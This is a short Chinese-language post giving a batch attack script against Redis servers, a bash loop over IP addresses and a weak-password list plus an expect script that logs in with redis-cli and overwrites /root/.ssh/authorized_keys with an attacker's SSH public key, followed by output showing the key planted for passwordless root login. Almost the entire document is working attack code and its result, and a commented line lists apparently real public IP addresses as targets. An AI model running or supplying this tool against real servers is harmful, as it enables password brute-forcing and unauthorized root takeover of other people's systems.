一、shell實現redis反彈shell

[[email protected] attack]# cat shell_rebound.sh
#!/bin/bash
##create by xingcheng
##20180403
##function 批量redis反彈shell獲取系統許可權,主要針對沒有安全策略的reids伺服器和弱口令redis伺服器，他們往往使用root賬戶執行

#ip_list=(39.106.107.229 123.206.31.161 127.0.0.1)
#password_dict=(123456 abcdef 234rdffs)
ip_list=(127.0.0.1
 
 192.168.0.1) #ip列表陣列，可以批量存入ip
password_dict=(123456 abcdefg 1qaz2wsx) #弱口令陣列




password(){
for passwd in ${password_dict[@]}
do
  expect shell_rebound.exp "$ip" "$passwd"
  echo $(cat /root/.ssh/authorized_keys)
done

}




ip(){
for ip in ${ip_list[@]}
do
  password
done
}

ip

[root@xingcheng attack]# cat shell_rebound.exp 
 

#!/usr/bin/expect

set sentence1 [lindex $argv 0]
set sentence2 [lindex $argv 1]
spawn /usr/local/redis/bin/redis-cli -h $sentence1 -p 6379 -a $sentence2

expect  "127.0.0.1:6379>"
if { $sentence1==$sentence1 } {
send "set -.- \"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAltEC9ktb+401+epwi/QxYKoTLYiHaJ9RREnHzPfMzs107ba9otiT6iiiFDJtXnvAWkp6vMDJ59ncJUNCFmPjReK521DP5cmVg5V7un71GhFEybZ8oGzEFWeYPhXp+vBK0VW1btPl7GaLs5DU1bKDpmPPFURWFIw77pd8CFeYXjLBssmQgvm3szk2VxD2gw2DAQa6+cLGtjRMmWgD2QRG7gkMoRotkfoxkqwESuBedspm0unB7eQHfXvMznntnwTzwDW1E70BMAvk4bnoJnBGnZep2SBxNUn9H6a7mcGyD6FDQ6TQClc9KeXNiq/mqTa0X6jCLzF0GsYl0mQHcAF7DQ== rsa-key-20180320\n\n\n\" \r"
 

send "config set dir /root/.ssh \r"
send "config set dbfilename authorized_keys \r"
send "save \r"
}


expect eof

成功的效果，免密碼登陸伺服器成功。

[root@xingcheng attack]# cat /root/.ssh/authorized_keys
REDIS0008   redis-ver4.0.6
redis-bits����e.used-mem¸þ

                        ��preamble~��-A 


ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAltEC9ktb+401+epwi/QxYKoTLYiHaJ9RREnHzPfMzs107ba9otiT6iiiFDJtXnvAWkp6vMDJ59ncJUNCFmPjReK521DP5cmVg5V7un71GhFEybZ8oGzEFWeYPhXp+vBK0VW1btPl7GaLs5DU1bKDpmPPFURWFIw77pd8CFeYXjLBssmQgvm3szk2VxD2gw2DAQa6+cLGtjRMmWgD2QRG7gkMoRotkfoxkqwESuBedspm0unB7eQHfXvMznntnwTzwDW1E70BMAvk4bnoJnBGnZep2SBxNUn9H6a7mcGyD6FDQ6TQClc9KeXNiq/mqTa0X6jCLzF0GsYl0mQHcAF7DQ== rsa-key-20180320